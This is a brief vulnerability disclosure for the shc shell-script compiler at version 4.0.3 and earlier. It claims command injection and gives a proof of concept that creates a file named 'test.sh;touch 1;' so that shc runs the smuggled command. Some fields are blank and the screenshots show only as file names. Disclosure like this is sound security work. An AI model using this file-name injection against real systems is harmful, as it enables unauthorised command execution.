BUG_Author: s0l42

Affected Version: shc ≤ 4.0.3

Vendor: shc GitHub Repository

Software: shc

Vulnerability Files:

Description:

Command Execution:

图片.png

Proof of Concept:

$ touch "test.sh;touch 1;"
$ echo '#!/bin/sh\\necho "hello"\\nls' > "test.sh;touch 1;"
$ ./shc -f "test.sh;touch 1;" -o aa

If success, the file 1 will be created.

image.png